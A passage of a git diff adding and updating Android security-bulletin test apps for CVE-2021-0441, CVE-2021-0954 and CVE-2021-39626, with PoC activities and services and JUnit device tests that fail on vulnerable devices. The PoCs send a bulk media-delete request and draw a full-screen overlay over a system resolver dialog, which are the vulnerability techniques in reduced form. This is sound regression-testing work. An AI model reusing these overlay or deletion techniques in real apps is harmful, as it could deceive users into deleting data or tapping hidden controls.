+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0441"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:label="@string/app_name"
+ android:supportsRtl="true">
+ <activity android:name=".PocActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0441" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
new file mode 100644
index 00000000000..7460b96ae6b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
new file mode 100644
index 00000000000..3496d8a778f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <integer name="pictures">200</integer>
+ <integer name="request_code">1</integer>
+ <integer name="wait_time_ms">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
new file mode 100644
index 00000000000..9d8dd1b4319
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="app_name">
+ CVE-2021-0441
+ </string>
+ <string name="ui_id_alert">
+ android:id/alertTitle
+ </string>
+ <string name="ui_id_message">
+ android:id/message
+ </string>
+ <string name="path">
+ content://media/external_primary/images/media/
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
new file mode 100644
index 00000000000..1d9c47b7acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mAppContext;
+
+ int getInteger(@IntegerRes int resId) {
+ return mAppContext.getResources().getInteger(resId);
+ }
+
+ String getString(@IntegerRes int resId) {
+ return mAppContext.getResources().getString(resId);
+ }
+
+ @Test
+ public void testCVE_2021_0441() {
+ try {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ mAppContext = getApplicationContext();
+ PackageManager packageManager = mAppContext.getPackageManager();
+ String packageName = mAppContext.getPackageName();
+ final Intent intent = packageManager.getLaunchIntentForPackage(packageName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mAppContext.startActivity(intent);
+
+ // Selecting all visible objects with res-id: android:id/alertTitle
+ Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert));
+ BySelector selectorAlert = By.res(patternAlert);
+
+ // Selecting all visible objects with res-id: android:id/message
+ Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message));
+ BySelector selectorMessage = By.res(patternMessage);
+
+ boolean isAlertTitleVisible =
+ device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms));
+ boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage),
+ getInteger(R.integer.wait_time_ms));
+ assumeTrue(isAlertTitleVisible || isMessageVisible);
+
+ List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert);
+ List<UiObject2> objectsMessage = device.findObjects(selectorMessage);
+ assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty());
+
+ if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) {
+ for (UiObject2 obj : objectsAlertTitle) {
+ String text = obj.getText();
+ if (text == null) {
+ continue;
+ }
+ if (text.contains(getString(R.string.app_name))
+ && text.contains(Integer.toString(getInteger(R.integer.pictures)))) {
+ fail("Vulnerable to b/174495520 !!");
+ }
+ }
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
new file mode 100644
index 00000000000..7c8b8fe71f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.MediaStore;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures)));
+ }
+
+ ArrayList<Uri> getUriList(int capacity) {
+ ArrayList<Uri> list = new ArrayList<Uri>();
+ for (int i = 0; i < capacity; ++i) {
+ Uri uri = Uri.parse(getString(R.string.path) + i);
+ list.add(uri);
+ }
+ return list;
+ }
+
+ private void requestDeletePermission(List<Uri> uriList) {
+ PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList);
+ try {
+ startIntentSenderForResult(pi.getIntentSender(),
+ getResources().getInteger(R.integer.request_code), null, 0, 0, 0);
+ } catch (IntentSender.SendIntentException e) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
index aa9f71f574b..59350cf546f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -18,10 +18,10 @@
android_test_helper_app {
name: "CVE-2021-0954",
defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java"
+ ],
test_suites: [
- "cts",
- "vts10",
"sts",
],
static_libs: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
index a7e0218c422..75299c4ddfe 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/AndroidManifest.xml
@@ -1,5 +1,5 @@
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -13,25 +13,19 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.cve_2021_0954"
+ package="android.security.cts.CVE_2021_0954"
android:versionCode="1"
android:versionName="1.0">
-
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
- <application
- android:allowBackup="true"
- android:label="CVE_2021_0954"
- android:supportsRtl="true">
- <uses-library android:name="android.test.runner" />
+ <application>
<service android:name=".PocService"
android:enabled="true"
- android:exported="false" />
+ android:exported="true" />
</application>
-
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.cve_2021_0954" />
+ android:targetPackage="android.security.cts.CVE_2021_0954" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
new file mode 100644
index 00000000000..363df0001d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="noAssumptionFailure">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
new file mode 100644
index 00000000000..7c4d959b70f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="cmdDumpsysActivity">dumpsys activity %1$s</string>
+ <string name="empty"></string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/143559931 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="messageKey">message</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">CVE_2021_0954_prefs</string>
+ <string name="timedOutPocActivity">Timed out waiting on a result from PocActivity</string>
+ <string name="vulClass">com.android.internal.app.ResolverActivity</string>
+ <string name="vulClassAuto">com.android.car.activityresolver.CarResolverActivity</string>
+ <string name="vulPkg">android</string>
+ <string name="vulPkgAuto">com.android.car.activityresolver</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
index f98690625e9..9a94ef953c1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/DeviceTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,17 +14,20 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
+
+import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
-import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
import android.provider.Settings;
import androidx.test.runner.AndroidJUnit4;
@@ -32,90 +35,107 @@ import androidx.test.uiautomator.By;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
- private static final String TEST_VULNERABLE_PKG = "android";
- private static final String TEST_VULNERABLE_ACTIVITY =
- "com.android.internal.app.ResolverActivity";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private static final String vulnerableActivityName = "ResolverActivity";
- private UiDevice mDevice;
- String activityDump = "";
-
- private void startOverlayService() {
- Context context = getApplicationContext();
- assertNotNull(context);
- Intent intent = new Intent(context, PocService.class);
- assertNotNull(intent);
-
- if (Settings.canDrawOverlays(getApplicationContext())) {
- context.startService(intent);
- } else {
- try {
- context.startService(intent);
- } catch (Exception e) {
- throw new RuntimeException("Unable to start the overlay service", e);
- }
- }
+ private Context mContext = getApplicationContext();
+ private static final int TIMEOUT_MS = 10000;
+
+ private boolean hasFeature(String feature) {
+ return mContext.getPackageManager().hasSystemFeature(feature);
}
- public void startVulnerableActivity() {
- Context context = getApplicationContext();
- Intent intent = new Intent();
- intent.setClassName(TEST_VULNERABLE_PKG, TEST_VULNERABLE_ACTIVITY);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try {
- context.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException("Activity not found on device", e);
- }
+ private boolean isAuto() {
+ return hasFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
- @Before
- public void setUp() throws Exception {
- mDevice = UiDevice.getInstance(getInstrumentation());
+ String getStringRes(int key) {
+ return mContext.getResources().getString(key);
+ }
- /* Start the vulnerable activity */
- startVulnerableActivity();
- if (!mDevice.wait(Until.hasObject(By.res("android:id/contentPanel")
- .clazz("android.widget.ScrollView").pkg("android")), LAUNCH_TIMEOUT_MS)) {
- return;
- }
+ String getStringResWithArg(int key, String arg) {
+ return mContext.getResources().getString(key, arg);
+ }
- /* Start the overlay service */
- startOverlayService();
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
}
@Test
- public void testVulnerableActivityPresence() {
- Pattern overlayTextPattern = Pattern.compile("OverlayButton", Pattern.CASE_INSENSITIVE);
- if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
- return;
- }
-
- /*
- * Check if the currently running activity is the vulnerable activity, if not abort the test
- */
+ public void testOverlayButtonPresence() {
try {
- activityDump = mDevice.executeShellCommand("dumpsys activity");
- } catch (IOException e) {
- throw new RuntimeException("Could not execute dumpsys activity command");
- }
- Pattern activityPattern =
- Pattern.compile("mResumedActivity.*" + vulnerableActivityName + ".*\n");
- if (!activityPattern.matcher(activityDump).find()) {
- return;
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ assumeTrue(getStringRes(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
+ Intent intent = new Intent(mContext, PocService.class);
+ mContext.startService(intent);
+
+ /* Wait for a result from overlay service */
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ getStringRes(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+ assumeTrue(preferenceChanged.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
+ getIntegerRes(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
+ getStringRes(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
+
+ /* Wait for the UI of overlay window to appear */
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ intent = new Intent();
+ String vulActivity = getStringRes(R.string.vulClass);
+ String vulPkg = getStringRes(R.string.vulPkg);
+ if (isAuto()) {
+ vulActivity = getStringRes(R.string.vulClassAuto);
+ vulPkg = getStringRes(R.string.vulPkgAuto);
+ }
+ intent.setClassName(vulPkg, vulActivity);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ /* Wait until the object of overlay window is gone */
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.pkg(mContext.getPackageName())), TIMEOUT_MS);
+
+ /*
+ * Check if the currently running activity is the vulnerable activity, if not abort the
+ * test
+ */
+ String activityDump = device.executeShellCommand(
+ getStringResWithArg(R.string.cmdDumpsysActivity, vulActivity));
+ Pattern activityPattern = Pattern.compile(getStringRes(R.string.mResumedTrue));
+ assumeTrue(getStringRes(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(getStringResWithArg(R.string.overlayErrorMessage, vulActivity),
+ overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
}
- String message = "Device is vulnerable to b/143559931 hence any app with "
- + "SYSTEM_ALERT_WINDOW can overlay the ResolverActivity screen";
- assertNull(message, mDevice.findObject(By.text(overlayTextPattern)));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
index 82b78a2beba..79270baa65e 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0954/src/android/security/cts/CVE_2021_0954/PocService.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,47 +14,65 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0954;
+package android.security.cts.CVE_2021_0954;
import android.app.Service;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.content.res.Resources;
import android.graphics.PixelFormat;
-import android.os.Handler;
import android.os.IBinder;
-import android.provider.Settings;
import android.view.Gravity;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
- public static Button mButton;
- private WindowManager mWindowManager;
- private WindowManager.LayoutParams mLayoutParams;
+ Button mButton;
+ WindowManager mWindowManager;
- private static int getScreenWidth() {
+ private int getScreenWidth() {
return Resources.getSystem().getDisplayMetrics().widthPixels;
}
- private static int getScreenHeight() {
+ private int getScreenHeight() {
return Resources.getSystem().getDisplayMetrics().heightPixels;
}
+ String getStringRes(int key) {
+ return getResources().getString(key);
+ }
+
+ int getIntegerRes(int key) {
+ return getResources().getInteger(key);
+ }
+
@Override
public void onCreate() {
- super.onCreate();
- mWindowManager = getSystemService(WindowManager.class);
- mLayoutParams = new WindowManager.LayoutParams();
- mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
- mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
- mLayoutParams.format = PixelFormat.OPAQUE;
- mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
- mLayoutParams.width = getScreenWidth();
- mLayoutParams.height = getScreenHeight();
- mLayoutParams.x = getScreenWidth() / 2;
- mLayoutParams.y = getScreenHeight() / 2;
+ try {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams();
+ layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ layoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ layoutParams.format = PixelFormat.OPAQUE;
+ layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ layoutParams.width = getScreenWidth();
+ layoutParams.height = getScreenHeight();
+ layoutParams.x = getScreenWidth() / 2;
+ layoutParams.y = getScreenHeight() / 2;
+
+ /* Show the floating window */
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, layoutParams);
+ } catch (Exception e) {
+ sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
+ return;
+ }
+ sendTestResult(getIntegerRes(R.integer.noAssumptionFailure), getStringRes(R.string.empty));
}
@Override
@@ -63,31 +81,27 @@ public class PocService extends Service {
}
@Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- showFloatingWindow();
- return super.onStartCommand(intent, flags, startId);
- }
-
- @Override
public void onDestroy() {
- if (mWindowManager != null && mButton != null) {
- mWindowManager.removeView(mButton);
+ try {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ } catch (Exception e) {
+ sendTestResult(getIntegerRes(R.integer.assumptionFailure), e.getMessage());
}
- super.onDestroy();
}
- private void showFloatingWindow() {
- if (Settings.canDrawOverlays(this)) {
- mButton = new Button(getApplicationContext());
- mButton.setText("OverlayButton");
- mWindowManager.addView(mButton, mLayoutParams);
- new Handler().postDelayed(new Runnable() {
- @Override
- public void run() {
- onDestroy();
- }
- }, 60000); // one minute
- mButton.setTag(mButton.getVisibility());
+ private void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getStringRes(R.string.resultKey), result);
+ edit.putString(getStringRes(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore the exception
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index d3e2302d280..2f87b9cdf31 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -30,10 +30,10 @@ android_test_helper_app {
test_suites: [
"sts",
],
- sdk_version: "current",
static_libs: [
"androidx.test.core",
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
index f0978251006..74e263c53d4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -22,12 +22,8 @@
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
- <application
- android:testOnly="true"
- android:label="CVE-2021-39626"
- android:supportsRtl="true">
- <activity
- android:name=".PocActivity"
+ <application>
+ <activity android:name=".PocActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -35,7 +31,6 @@
</intent-filter>
</activity>
</application>
-
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.security.cts.CVE_2021_39626" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
new file mode 100644
index 00000000000..d5ae7443184
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/integers.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="enabled">1</integer>
+ <integer name="disabled">2</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
new file mode 100644
